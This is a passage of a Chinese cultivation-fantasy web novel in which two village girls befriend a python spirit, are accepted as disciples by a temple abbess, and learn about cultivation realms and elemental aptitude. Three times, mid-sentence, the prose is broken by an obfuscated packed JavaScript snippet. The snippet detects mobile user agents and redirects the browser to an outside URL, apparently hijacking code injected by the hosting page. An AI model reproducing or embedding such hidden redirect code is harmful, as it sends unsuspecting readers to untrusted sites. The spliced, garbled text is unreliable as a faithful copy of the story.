“我现在不需要它了,也不需要灵石。我也不知道出了什么问题,刚开始的时候,我如同其他普通的修炼者一样,白天享日华,夜晚集月华。后来我入主细柳庙,对灵气的渴求越来越少了,但我的修为始终在缓慢增长。我想既然沉睡前如此修炼,那么我醒来后也应当不变,所以这颗蛇蛋对我来说没有用,赠与你是恰到好处。你无需推脱。” 青禾不再纠结,收下后,她道:“现在山上早就没有细柳庙了,柳君是否需要我帮忙,虽然我人微言轻,可我可以跟妙清观主说,她是个大好人,如果她知道了柳君你的故事,一定会帮你的。” 蟒蛇很高兴地点点头,它摇着尾巴,“谢谢你,青禾,我很需要你的帮助,但不是现在。我还没有完全从沉眠期醒来,今晚过后,我会再次入睡。” 它蛇尾灵活地一卷,将一片巴掌大的银灰色鳞片递到青禾面前,“等你正式入道,想来我也苏醒,请你拿着这块鳞片上山找我。” 小姑娘珍惜地收下鳞片,信誓旦旦:“我一定会尽快入道,然后立马上山帮你。” 蟒蛇头一歪,“也不用很着急,万一你入道了,我还没醒,你还得多来找我几次。” 青禾哈哈大笑起来,“柳君,你放心,我会一直找你直到找到为止。” 一只小小的萤火虫飞了过来,落到一人一蛇之间的空地,发出一闪一闪的光亮。 “青禾,你的朋友找到了,她没有事情。我让萤火虫送你们下山吧,有我的气息护佑,不会有野兽为难你们。” 青禾听到久安没事,心里大松了口气,她开心地站了起来,这次倒没跪拜,“柳君,我们是朋友了吗?” 蟒蛇点点头:“我们是朋友了,青禾。” 小姑娘轻轻地搂住身边安静地盘旋在石头上的蟒蛇尾巴蹭了蹭,冰凉细腻。 “再见,我的好朋友,谢谢你。” “再见,青禾。” 9. 拜师 成群的萤火虫围绕在青禾周身,为她引路,小姑娘稳稳当当地走着。身上的伤势在她昏迷的时候被柳君治好,她现在身心轻松地往山下赶。 走了小半个时辰,她看见不远处另一片萤火虫组成的淡淡光晕。 “久安!久安!你还好吗?” 尽管已经从柳君那里知道朋友无事,青禾还是很激动地边跑边问着。 另一头谢久安举着火把探头探脑,声音有些颤抖:“青禾,是你吗?” 两个小姑娘历经险阻,终于见面了,看到彼此都没有事情,两人忍不住拥抱欢呼。 安心之后,久安忍不住带着哭腔埋怨:“吓死我了,我以为再也见不到你了。你真是的!赶过来干什么,我都吹哨子告诉你有危险了,是不是傻?” “我不傻,我要是不过来救你,你被野猪撞死了怎么办?我不会丢下你不管的!” 久安悄悄地抹去眼角的泪水,无视了周围萤火虫围绕的怪异现象,又开始忍不住地朝青禾嘚瑟:“你看你看,这个火把是我自己做的!你猜我怎么做的?” 青禾难得配合,笑着问她:“哇哦,好厉害,你怎么做的?” 久安得意的小尾巴翘了起来,“那头野猪力气真大,撞断了林子里好多大树。当时情况危急,我看你被它给掳走了,立刻就想追过去,可天色太暗了,我看不清路,被绊倒了。正巧了,绊倒我的是棵老松树,那松树被撞的松油都冒出来了。我灵机一动,撕下衣襟裹上树枝,沾满松树油,那火折子一点,没想到就成了,好亮的火把,正适合赶路追踪!怎么样,我聪明吧,这就叫急中生智!” “哈哈,厉害,真厉害!”青禾心情好极了,十分捧场地拍着巴掌。 “你今天也太配合了,往常都是懒得搭理我,怎么转性了?”久安狐疑地问道。 青禾刚要回答,久安又突然一惊一乍起来,“啊啊,最重要的事情忘记了,我们赶紧找个地方躲起来,我都给忘了,看见你没事太高兴了!山上野兽吃人啊!啊啊啊!这群萤火虫怎么还在?好吓人,有妖怪吗?从一个多时辰前就围着我,现在又多了,变成围着咱俩了!” 青禾表情痛苦,谢久安的尖叫声太刺耳了! 她急忙捂住对方的嘴,试图让对方冷静下来。 “别怕,不是妖怪,是蟒仙,我遇到蟒仙了,这些萤火虫是蟒仙带咱们下山的!” 青禾给安静下来,滴溜着一双好奇的圆眼睛的好朋友仔细地讲了讲之前的遭遇。 “哇,青禾,你真厉害,遇到蟒仙了,还跟它交上朋友了。”久安又看着青禾拿出来的书册、蛇蛋还有鳞片,又高兴的手舞足蹈。 “虽然伏虎令没什么用,但我们还是寻觅到了仙缘,太好了成仙有望了!” 她突然想起来什么,可怜兮兮地看向青禾:“青禾,柳君是你自己遇到的,我的伏虎令也没什么用,那这仙缘,你能不能分我一半呀?” 青禾假装不理她,牛气哼哼地转过身子,等到听爽了谢久安的各种讨好,才做了个鬼脸:“怎么可能不分你一半,先不说我们是志同道合的朋友,再者说如果没有你的令牌,我又怎么会上山然后遇到柳君得到仙缘呢,这仙缘当然有你一半!” 久安高兴地抱着青禾蹦跶:“我就知道,你最讲义气了,好青禾!等等?你刚刚说什么,我们是好朋友?嘿嘿,你终于承认了!死鸭子嘴硬的青禾!” 青禾无语地翻了个白眼。 两个小姑娘闹着,笑着,突然听见久安肚子咕噜咕噜地响。 她不好意思地摸着肚子嘿嘿笑着。 两个人的包袱都丢了。青禾轻叹口气,还好自己把鸡蛋揣进怀里。 她将唯一的食物递给肚子咕咕直叫的朋友。 久安两只手在衣服上搓干净,接过鸡蛋,三下五除二地剥皮、掰两半,她将其中稍大的一半递给了青禾,“我们一起吃。” 青禾接过来,开心地笑着:“嗯!” 两人一路上轻歌曼语,笑闹着跟随着成群的萤火虫走着,好似走在田间的小路而不是什么黝黑的山路。 “久安,我想着,我们还是应该把得到仙缘的事情跟观主讲一讲。你看之前我们自作主张,差点死在山里。话本里的主角们一直是孤身一人,是因为他们身边没有值得信任的长辈朋友,可我们还是不一样的,妙清观主是值得我们信任的好人。” “也是哦,我们不能太逞强了,回去就好好跟观主说清楚,请她收我们为徒。唉,这次这么晚,家里人得着急死。”久安愁眉苦脸。 “是啊。”两人对视一眼,先前快乐的情绪消失不见。 “肯定要挨一顿竹板炒肉!”两人同时哀嚎。 “青禾,青禾……”急切的呼唤声从远处传来。 “娘,是我娘!我娘来找我了!” “久安,久安!” “呜呜,是我爹,我爹也来找我了!” 越来越多的呼唤声从山脚下传来,随机而来的是一对对星星点点的火把亮光。 两个女孩加速往山下跑去。 数不清的纸鹤从林间四散飞去,有一只正巧撞在萤火虫堆里。 “是观主,呜呜,观主也来找我们了。她老人家身体不好,还过来找我们了,呜呜,久安,快,我们快些下山。” “娘!爹!” 好不容易跑到山脚,两个人向两个亟待归家的小鸟,飞入父母怀里。 “你们做什么偷往山上跑?是想急死我们吗?” “有没有事,有没有被野兽伤到?啊,没事,没事就好!” “要不是严小哥发现了自己的哨子没了,又看见了你俩追兔子去了,我们真是想找都没地方找!” “你是不是要气死我!村里的人都出来找你了,看我不打死你个小兔崽子!” “就是!为了找你,村里的猎户都没法子猎到供品,祭典都因此推迟了,看我不抽死你!” 久安连蹦带跳地离父亲远些,连忙指着慢慢往回飞去的萤火虫群。 “我们不是偷跑山上,我们是受到山神指引,不信你们看,这么多萤火虫呢,都是山神为了我们安全,特意派它们护送我们!” 众人怀疑地看着。 “对对,久安说的对,是山神,你们看平时哪有这么多聚在一起的萤火虫,它们都是山神的使者!”为了不挨一顿胖揍,青禾和久安两个小姑娘一唱一和地编着瞎话。 柳君,柳君,对不住了,下回见你再跟你道歉。青禾心里默默念叨着。 “确实有修行者的气息,那些萤火虫不是凡虫。”妙清观主走了出来,替两个女孩儿解围。 “它说它曾是细柳庙的蟒仙,大家曾喊它细柳君,观主有印象吗?各位婶娘叔伯,你们大家有印象吗?” 有了妙清观主作证,两对父母的怒气平复了一些,只是大家都对细柳这个名字陌生得很,大部分人面露茫然。 最后还是妙清观主说道:“我曾在观里的书籍见过细柳这两个字,只是时光久远,具体的不曾记得,还要回去翻一翻书。” 木瑛也好似想起什么的突然道:“我以前听过阿嬷讲过,她说她阿嬷的阿嬷说很久以前山上有个非常灵验的山神庙,有求必应,百试百灵,不知道是不是就是说的这个细柳庙?” “看来它应当不是什么恶神精怪。想来山神显灵,自有缘由,不是两个小孩子能控制的,父母切勿多责怪。此后因缘纠葛,我正明观自会仔细探查,大家且放下心来。” 田家夫妇、谢家夫妇连连称是。 众人有了正明观保证,也不再对精怪传说害怕,看到两个小孩子已经找到了,纷纷回家去了。 感谢了帮助找孩子的村民邻居后,青禾被揪着耳朵回家了,虽说有妙清观主劝告,她不用挨一顿狠揍,但田母依旧犹有不忿,很是唠叨了青禾一番。 留守在家里的弟妹也纷纷围上来担心不已。 “对不起,对不起。”看着家人如此担心,青禾心里非常愧疚,差点把真话说出口。 父母嘱咐着青禾明天早早地去正明观找观主看看,生怕不知名的山神野怪留下不好的东西在女儿身上。 真是正中青禾心思。 —— “观主,事情就是这样,对不起,我们昨天说谎了,也不该瞒着你私自去山上。”两个小姑娘齐齐低着头,向观主道歉。 妙清叹了口气,看着桌子上摆着四件物品。 书册、蛇蛋、鳞片、伏虎令。 “不怪你们,是我不好。”她指了指对面的椅子,让两个女孩儿坐下。 “我明知道你俩一心求道,却总是装聋作哑,不予理会,害得你们差点命殒山林,是我的不是,对不起。” 两个女孩儿慌忙摇头摆手:“不不,怎么能是观主的错呢,是我们不知好歹,观主肯定是为了我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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青禾默默点头,她知道平时村民来求教观主的时候大多拿着米面肉菜等东西表示感谢,观主不在意,也很少收钱。她自己身上的道袍补丁累着补丁,有村民想要替她做身新的,都被她回绝,好布料给自己或者家里人裁几件衣服都行,她是出尘之人,不在乎外物。可青禾知道观主是不想大家破费,毕竟穷人的收入少,富人欲望太多观主不想招惹。 “若是没有宝鉴,倒有其他法子顶替。能成为观主之人修为必定已到达入道门槛,以自身灵力灌注头顶百会穴,再辅以内视观察,虽说结果没有宝鉴准确,也好歹能用。只是我的灵力远没有那么充足。更不要提为师者还要以灵力为引导,指导弟子梳理经脉,轮息大小周天。” “不能查看根骨,便不能因材施教,胡乱教授的话,轻则使弟子终身不能进阶入道,蹉跎一生,重则很可能使弟子灵气逆行,经脉爆裂而亡。所以,我一直对你们视而不见,却又不忍心你们俩个心性极好的孩子终身难入仙道。本打算借着白虎祭,敬春神的机会看看能不能沟通天地,多攒些灵气,没想到你们会另有机缘。” “不过现在不用等白虎祭那个虚无缥缈的机会了。”妙清观主拿着蛇蛋,微笑地说:“精诚所至金石为开,这是你们为自己争取的仙路。看来是上天要你们俩入我正明观。这颗蛇蛋灵力十足,正适合让我借助灵力为你们开灵眼、探根骨。” 青禾和久安惊喜地蹦了起来,“也就是说,观主你同意收我们为徒了?” 妙清笑眯眯地点点头。 青禾猛地一拉久安,跪下就喊:“拜见师父!” 两人将头磕得咣咣响。 妙清正要将她们扶起来,就听见久安说:“唉,不对啊,青禾,师父的父是父亲的父,可观主是女人,我们得喊拜见师母!” “对啊,对啊,说的有道理,拜见师母!” 妙清啼笑皆非地将两个小孩儿扶起来,揉着两个人额头的红印子,“好好好,你们怎么喊都行,只是现在还不到拜师的时候,等到下个月的白虎祭,我在祭典上一同宣布收徒事宜,到那时你们再举行拜师大典。两个庆典合并,岂不快哉?” “啊,师母,白虎祭推迟到下个月啦?”久安震惊道。 “是啊,什么猎物都没打到,如何进行祭典,岂不怕春神震怒?再者这次祭典决定的匆忙,有许多游子还未归家,村里的亲人也希望他们一同前来,沾一沾祭典的福气,新的一年顺顺遂遂,所以我就做主,直接推迟到下月了。” “啊,能行吗?”青禾有些担心,在她心里祭典都是很严格的。 “放心,我是主持白虎祭的应典人,区区一个白虎祭,我说行就行!”妙清很不在乎地保证着。 “太好了,师母真厉害!” “你们别嫌弃正明观贫寒,我这个师母无能就行了!” “哈哈哈,才不会,只要师母收下我们别后悔了就行,嘻嘻嘻。” 10. 前因 “说到这柳君,我昨晚听你们说过,回来又仔细翻了翻藏书阁的书还有历任观主的手札,果不其然,确有发现。” 妙清倒了两杯清茶,示意两个未来小弟子喝,平静下兴奋的心情,认真听她继续讲。 “两百年前正明观第一任观主奉金真人正是为了剿灭妖孽来到四季山,她为人机警,善于观察,第一次来到四季山就觉得不对劲。” “按照求助的百姓说法:山中有邪物祸乱横行,每旬月便要求大量人牲供奉,不然便要大肆制造杀业。为了安抚它。三四年间已经牺牲掉许多人,连前来收妖的道人都死伤不少。近些时日,那邪物不知怎地,狂性大发,非要数对童男童女,供奉了还仍不满足,屡屡袭击村庄,致使无数人受伤死亡。” “按照此种说法,此邪物以食人来提升修为,能力强悍,连修为有成的修士都命丧它口,必定凶残暴虐,而且周身灵息也必定浑浊血腥。可她去四季山寻迹时,却未曾感受到死寂与怨气。修道者自身灵息与天地气泽沟通感应,不可能出现凶物嗜血,而它的周围环境却平和宁静的情况。” “而更有意思的是,经先祖探查,供奉邪物的庙宇没有这些邪恶之气,反而山脚下一处离村镇十来里路的坳口发现了大量死尸残块和浓重怨气。周围亦有许多人祭拜活动的痕迹。” “奉金先祖心有疑惑,不曾参与修道者队伍,私下里想方设法找到柳君见了一面。她在手札写到:那蛇妖通身灵息饱满纯净,一双澄黄竖瞳未见一丝阴邪残忍之意,片片蛇鳞银光闪烁,皆有天地道韵在其上流转不息,一看便知是天生地养的灵物。” “她知受骗上当,想要追根问底,便想要从那遍布怨气疑似淫祀的山坳处查起,不成想行踪暴露,那淫祀竟有修为高深之人参与摆布,先祖修为不及那人,被其打伤,险些丧命。” “幸好有这世间并非都是庸庸碌碌之辈,只顾着眼前一点利益就要不分青红皂白乱杀无辜。关键之时,还是有侠义之士出手相助。” 她缓了缓气息,笑眯眯地看着两个小姑娘,端着茶慢慢喝着。 久安和青禾都聚精会神地听着故事,此时妙清突然停顿,青禾灵光一闪,双手捂着胸口,激动万分:“那侠义之士难道就是柳君的说的悬月真人?” “正是。”妙清赞许地点点头。 “悬月真人法术精妙,一出手势若雷奔,正克制那阴邪术法,救下了奉金先祖,再之后又于围剿中救下了柳君。先祖在她的手札里无不遗憾地写到:若非当年她伤势过重,不得不躲藏起来养伤,她定要与悬月真人并肩作战,杀他个七进七出。” “不过说来也好笑,那群正义之士喊打喊杀的蛇妖竟然是个自灵智开启后从未杀生的,全靠吞吐日月精华天地灵气为生,一身灵息比人族修道者还要纯净无害。维护正道的反而污浊晦暗业障无数。” “后来悬月真人在一次斗法中受重伤,自此与柳君一同失踪数月。先祖伤势好转后不愿离去,一直暗中苦苦寻觅恩人的踪迹,祈求报恩。皇天不负有心人,终于有一天,她收到恩人的灵蜂传信。” “悬月真人巧用妙计,让奉金先祖以一片蛇鳞为诱饵,引开了一部分贪图灵物的修道者,然后她自己突破了剩下修道者的包围,回师门搬救兵。” “师门齐心,其利断金,悬月真人与她的师姐妹们破除迷障,找出真相大白于天下,斩首淫祀众人。” “悬月真人的师长见柳君并非胡作非为的邪物,受此无妄之灾,还心存善念,勉力救人,便允许它暂领四季山山神之位,以自身灵力净化山脚下枉死的怨灵。居庙宇,享香火,护佑山间生灵。” “而先祖也感念悬月真人恩义,自愿留守四季山助柳君一臂之力,同时也教化剩下的无辜村民,让他们莫要再被恶人欺骗,害了自家人性命。我们正明观也自此而来。” “青禾,你见到的柳君,形貌与手札描述的相似,又有如此善意赠你宝物,必定与两百年前的细柳君是同一灵物了。你呀,小小年纪,运气不错。” “是呀,柳君真是条好蛇。”青禾感叹道。 “悬月真人好厉害,她师从何处呀?”久安故事听久了,忍不住好奇地问。 “悬月真人师从素心门。百年前,也是响当当的修道门派。只是后来不知为何没落了。真是可惜。”妙清惋惜道。 “那淫祀是什么来头,竟然能蛊惑那么多人?”青禾问道。 “人心不足蛇吞象,也不见得是蛊惑,也许正是臭味相投。”妙清冷笑,“那群恶徒妄图走捷径修炼成仙,不知从哪里听说四处收集人惨死的怨力供奉妖兽,再吞噬妖兽皮肉内丹,使修为快速增长还能逃掉因果劫。呵,无稽之谈。” “十几年前,京城神御司还派人剿灭残存余孽。血炼坛,如此臭名昭著的淫祀竟能留存数百年之久,可叹素心门这样的名门正派却消失已久。” 两个小姑娘听完故事,都惆怅地叹了口气。 妙清摸了摸两人的头顶,温和地说:“好了,关于柳君的故事就到这里了,你们知道了它的来历以及与我们观里的渊源,也就足够了。接下来我要交代你们正事了,可要听好。” 两个女孩表情严肃起来,目光炯炯有神地看向观主。 “虽然下个月才举行正式的拜师大典,但你们修行越早,修道之路走得越远。所以下午我会为你们俩测根骨,测完根骨就要开始修行了。” “从这个月起,每天要来观里半天,我会教授你们修道知识以及如何走脉。你们要跟父母讲清楚,请他们多担待。等到典礼完成,你们俩就是正明观的弟子了,要搬进观里住,专心修行。” “当然我并不是严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042908|178857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苛的师母,所以除了头三个月为了让你们静心,不许家人探望也不许回家外,剩下的日子只要完成了我布置的作业,你们随时可以出观,玩耍或者回家都行。” “明白了,观主!我们会用心学习的!” “嘿嘿,观主你等着我俩给观里长脸!” 妙清失笑:“真到观里,一切都要自己动手,青禾还行,久安你回家好好练练,别到时候还得青禾帮你!” “哪能哪能,我自己肯定行,绝不麻烦别人!”谢大小姐的脸有点红。 “好,那么现在,到了你俩大显身手的时候了。午饭在观里吃,只不过需要你们自己动手。青禾,你去库房里拿六个鸡蛋,两根葱,中午吃葱炒鸡蛋,取些芡粉、菜干、蘑菇干,做一道汤,再蒸一锅粟米饭。久安你秤半斤黄豆去你家村子曾老头家换一斤嫩豆腐,咱们再来道青葱拌豆腐。” 两人齐声答应了,分头干活。 青禾很高兴,以前观主叫她一起吃饭,她总不好意思,没别的原因,纯粹是观主吃的比她家里的好太多,她不想让人觉得蹭饭,所以后来就避开饭点再来。如今,她马上就是观主的弟子了,吃饭也可以名正言顺了。 想着想着,她的肚子开始咕咕叫了,口水也不知不觉地分泌多了。 嘿,你这不争气的馋鬼!青禾暗地里拍拍自己的脸。可别在观主面前丢人,忍住忍住!她挽起袖子开始干活。 金黄色的炒鸡蛋散发着微微焦香,其间点缀着切的细碎的葱花。勾过芡的浓汤泛着润泽的光芒被小心翼翼地盛在碗里,鲜咸的山蘑菇味道萦绕四周。白绿相间的是清爽可口的青葱拌豆腐,嫩滑软弹的豆腐令筷子数次败北,非得用勺子轻轻地舀,才不至于让豆腐破碎。还有一碗大酱,如果觉得豆腐味道清淡,还可以沾着酱吃,又或者狠狠舀一勺喷香扑鼻的粟米饭,淋上酱汁浓汤,味道也异常鲜美。 青禾觉得这是自己这辈子吃过的最美味的饭了。师徒三人有说有笑,没有什么食不言寝不语的规矩,将饭食一扫而空。 饭罢,妙清观主坐在院子里刚发嫩芽的银杏树下,煮着一壶枣干红糖水,等着两个小徒弟将碗筷收拾好。 “来,饭后甜水,尝尝,够不够甜,罐子里还有红糖,不甜自己加。”妙清指着石桌上的茶壶,让小姑娘们随意取用。 两人放松地坐下,一人捧着一大杯热乎乎的红枣甜水。天气还未彻底转暖,仍然带着一丝寒意的春风细细扫过院子,扫过两个女孩儿刚刚洗刷过碗筷还有些湿淋淋的胳膊手掌,又被温暖的茶杯阻挡。 青禾舒服地差点想哼哼出声,虽然没有炸馒头片犒劳自己,但现在也不错,还没有正式修道就这么开心舒适了,真不敢想象,以后成了仙人又该如何的逍遥自在?以后我也要爹娘弟妹都吃上这么好的饭食,喝上这么好喝的甜水! 11. 传道 消食完毕,妙清让两个小姑娘去屋子里拿出几个蒲团,师徒三人就这样幕天席地地坐在春色初显的院子里。 蓝汪汪的天空漂浮着大片雪一样的云朵,慢悠悠地前进,时不时遮住太阳,在地上投下一片会走动的阴影。它走过远处连绵起伏的群山,留下色彩对比强烈的明翠与暗绿,走过草地间的冰块叮咚的溪水,消隐刺目耀眼的粼粼金光,走过小小的道观,温柔地流连在三个盘腿而坐的师徒,最后又依依不舍地离开。 柔软的阳光重新笼罩在妙清身上,粗麻布的衣袍仿佛掺杂了细细的金丝,她靠在叶子新绿的老树下,一边慢慢地调整气息,为之后的运功做准备,一边给两个女孩儿传授最基本的知识。 “修道者,顺应天地之气,纳灵入体,淬炼神魂躯体。从初始修炼至得道飞升共经九重境界。” “练气,凝思,入道,筑灵台,洗金莲,登明堂,辟紫府,阴阳合,太虚境。九境皆圆满无缺,则进行最后一步——飞金仙,紫霄雷劫下证道成功,才是真正的得道成仙,自此脱离人世尘间,飞升神仙界。” “只要最后一步才需要经历雷劫吗?”久安问道。 “当然不是。”妙清和蔼地解释道,“入道之前,练气、凝思两个境界都属于凡人境,提升跨境不需要经受雷劫考验。修道者在这两个境界也较为弱小,练气乃是吸收灵气锤炼修补躯体。凡人初降世时,丹田自带混沌元气,身体也正处于与天地沟通灵敏之时,浑身圆满无缺,但随着不断生长,混沌元气渐渐散去,尘间浊气侵蚀,慢慢的不再适宜修炼,所以修道第一步,便是要打磨身体各处,使其回到最初始的圆满状态甚至更好的状态。” “其中根骨资质就显得尤为重要,资质好的,混沌元气留存的多,身体缺漏少,吸收灵气的速度快,修行就快。练气一境大圆满之后,修士身轻如燕、矫健有力,灵气循环于大经脉中畅通无阻,一生无病无痛,能得寿终正寝。” “躯体的缺漏补完,进入第二重境界——凝思,顾名思义,凝练神思。打磨完身体,也要打磨神魂,躯体与神魂相匹配,才能进入真正的修道。神思成束,心神合一,经得起连续七日的感悟天地,心无杂念、不生痴愚,则功成圆满。” “意思是连续七天不吃不喝,坐着发呆?”青禾瞪着眼睛吃惊地问。 妙清被她的说法逗得哈哈大笑,“从外表看和发呆确实很像。但你得从这七日感悟天地之道中选择你自己的道心,你为何修道,又想得到什么样的结果。” 青禾十分欣喜,拍手道:“这些我都决定好了,太好了,我省了一步!以后修炼凝思岂不是进步神速!” “啊!青禾你也太快了,那我,我……”久安支支吾吾,她有些犹豫,自己想要拜师修道,只是觉得当仙人威风又好玩,但这能算是道心吗?她也没想那么长远,平时生活处处都是走一步看一步,她也不知道想要个什么结果,飞升听起来好遥远,让她感到茫然无措。 “提前选择好了道心很不错,之后考验的就是你的毅力,如果能在七日之内不改初心,就算通过考验了。” “青禾,你还需谨慎,不可大意。” 青禾郑重地点点头。 “久安你不必彷徨,大部分人择道心、思道果都很慢,毕竟是一生的目标,再怎么犹豫慎重都不为过。还有很多前辈凡人境的时候选择好道心,结果往后越修炼道心越不稳固,不得不重新选择。” “重新选择会有代价吗?”久安很忐忑。 “肯定会有的,端看心境如何,如果与先前道心相差不大,只会跌落小部分境界,但如果与先前选择是两个极端的话,轻则需从凡人境重新来过,重则一命呜呼。” 久安皱着眉头,她向来随性惯了,做事情全凭感觉想一出是一出,真让她决定一生不变的目标,可真是太难为她了,尤其有这么严重的后果,不禁让她忧心忡忡。 青禾道:“从前你总跟我说车到山前必有路,如今这样的畏缩犹豫又再干什么?成仙之路就在眼前,打起精神来!” 妙清摸了摸她低垂的发顶,安慰道:“还有些传奇人物,重新择道,修为不退反进,一举破境甚至立地飞升。焉知你不是其中一员呢?” 久安听到师母朋友的安慰,也暗暗打气,是啊,怕什么,实在选不出道心,大不了我就永远在凡人境呆着呗。 看到小姑娘的神色舒展,妙清才继续道:“凝思境界可使凡人寿数最多增至一百二十年。练气、凝思,通过这两重凡人境,升至入道一境才算是真正踏入修仙的门槛,我们称之为修士境。在此之前,我们吸纳的灵气全部游走于身体内,入道后方可引灵气于体外,施展法术。” “哦,入道前能修炼成身强体壮的凡人,入道后才是真正的修仙者。”青禾若有所思。 “说的没错。”妙清赞许。 “进入修士境后,每次进阶皆要经受七道天雷考验。登明堂之前经受的称为小雷劫,登明堂至太虚境经受的称为大雷劫,最后飞金仙的雷劫最为恐怖难以通过,我们称为紫霄雷劫。” “雷劫、修为进阶都是由易到难。有人终身停留在某一境界寸步难行也是常事。还有许多人因为害怕在雷劫下灰飞烟灭再无来世,也会不再精进修为,等待寿终坐化,以期来世。” “修炼到凝思,凡人可增寿,再往上修行,是不是越活越久?”青禾有些期待地问。 “修至入道,寿数二百。入道至洗金莲,每升一阶寿数增加一百。洗金莲至辟紫府,每升一阶寿数增加二百。辟紫府至太虚境,每升一阶寿数增加五百。至于飞金仙听说寿数以万载来计,具体就不知道了。毕竟也没谁能追上神仙界,讨论仙人的寿数。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042909|178857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “这些只是根据有记载的修士平均寿数来计算的,每个人的体质修为不同,寿数在此基础上或多或少也不一定。” “境界越高,修士越少,据记载从古至今修炼至太虚境的人数不足百数,飞金仙只有区区九人。可叹大道艰难。” “那师母的修为是什么境界?”两个小姑娘都一脸兴致盎然,充满求知欲。 “我曾修炼至洗金莲。” 青禾算了算,眼神精亮,“哇,师母你的寿数有四百年,真是太好了!” 妙清沉默了一会儿,看着青禾兴高采烈的样子轻声说:“旱灾之前确实如此,后来我透支了寿命与修为,破限使用玉如意,如今我的修为在凝思与入道间徘徊不定,时而落入凡人境,时而提升至修士境。” 青禾与久安怔怔地望着妙清,眼眶慢慢泛红。 妙清揉揉泪眼婆娑的小弟子们,“别担心,我还是能陪你们修炼至入道。” “幼年时,我的父母因病而亡,其余亲戚也不在人世。我是吃百家饭穿百家衣长大的,入道时我发誓要报答乡亲,即便粉身碎骨也在所不惜。如今我守住了我的誓言,我很高兴,你们也应当为我高兴。” 她一手揽住一个小弟子,抱在怀里轻轻拍打后背。 那时她守在正明观日复一日回应村民的请求,竟然也侥幸修行到洗金莲,她兴奋至极,本以为自己资质普通,筑灵台已经是极限,没想到竟有如此道运。本想着收几个弟子继承道观,自己能抽身出来游历四方,却没想到旱魃现世。一切皆是天意,然而她此生无憾。 “好了,关于境界的知识先到此为止,入道之后的修行,以后我会慢慢地告诉你们。接下来我要告诉你们何为根骨。” “天地一混沌,乾坤分阴阳,聚气成五行,轮转生万物。每个人的丹田中都存有先天混沌元气,五行轮转化为根骨。世上修行方式千变万化,但主流修行皆是以根骨为本,以五行入道。” “金木水火土,五行存在每个人身上,但在每个人根骨中的存续的状态并不相同。活跃的、可与外界同种灵力相沟通感应的行气,我们更容易利用,死寂的、如枯木朽石藏于体内的行气,我们难以利用。所以我们会有所谓的某个人属于某个五行,比如有路人甲属于金行、木行,则她可以更容易修行金木两个属性的心法,并能轻易施展金木两属性的法术,若想施展其他三个属性的法术,也并非一定不可能,只是事倍功半,得不偿失,很少会有人这样做,毕竟修行时间有限。” “通常人的根骨会有两三种属性,这其中又会有强弱之分,择其强者为主修功法,弱者为辅。” “好在你们师门虽然落魄,但五行功法齐全,足够你们选用。”妙清笑着说。 “那接下来,就让我为你们测一测根骨,看看究竟属于哪些五行。” 12. 根骨 凝神聚气,吐纳天地灵气,集灵力于丹田,瞬发如江河奔流,汇入灵蛇蛋。 刹那间,漂浮在半空中的蛇蛋爆发出刺目光芒,随着一声若有似无的轻吟,一只顶着初生茸角的半透明龙影乍现,驾着一股清风“嗖”的一声钻进青禾的头顶。 “好精纯的灵力,竟然修出了龙影法相了吗?”妙清控制着灵力运转,低声自语。 此时青禾盘坐在蒲团上,五心朝天,紧闭着双眼。她按照妙清的交代,努力平复紧张的情绪,放缓呼吸,张驰有序。忽然头顶一凉,一股清灵之气灌入全身各处,霎时仿佛灵魂出窍,她只觉浑身轻松,脱离了笨重的肉/体,平静自由地随清气飘荡。 有模模糊糊的声音在远方响起,如同水中传音一样,由远至近,她感受到了声波的震动,带动着温柔的水波拂过她的肌肤、耳畔。听不清楚,但她没有任何急切的心情,所有负面情绪都被冻结,她平和快乐地游荡在母亲怀抱一样的灵力海洋里。 “青禾,青禾……” 声音渐渐变近了,水波越来越密集,浪花激荡,汹涌澎湃,一重海浪涌起,铺天盖地,重重地拍打在她的身上,她终于清醒,水声消失,清晰的声音传进耳内。 “青禾,你睁开眼睛。” 是妙清观主的声音。 青禾睁开了眼睛,五色流光映入眼帘。 她惊讶地转头看着四周,正明观小小的院子不再是灰朴朴、草木稀疏的模样,它蒙上了一层重影。 所有器物的边缘都被模糊,如果不是特别熟悉环境的人,恐怕认不出这些丛丛光影原本都是些什么。它们散发着五颜六色的光芒,那些光芒似有实质,像一缕缕细瘦的丝带,不断在空中嬉戏、流浪。 深浅不一、光彩万千。 “青禾。” 她听到师母的轻声呼唤,才想起寻找。 妙清正坐在她的面前。 青禾很惊讶,明明就在眼前,为何她才注意到。 妙清的身形也被光芒模糊,无数彩色流光游蹿在她的周身。青禾努力眯着眼才发现,师母的身体竟然是半透明的,那些流光不光穿梭在她周身,还从她的身体内部穿越而过。几团色彩更浓重的光影团嵌在妙清的腹部,红色、黑色、白色这三种光团泛着莹莹光芒,仿佛有生命力般一呼一吸膨胀收缩,还有两团青色和黄色暗影团寂静不动地漂浮着,五种色团首尾相连成环。 青禾回忆了下学过的知识,有些不确定想着,这代表着师母的五行属性吗,红色是火,黑色是水,白色是金? “没错,青禾。”温柔的女声回答。 小姑娘震惊了。 “莫要害怕,我的神识进入到你的身体,触碰你的识海,自然能感受到你的想法。” “青禾,看看你自己。” 她低下头看向自己的身体。 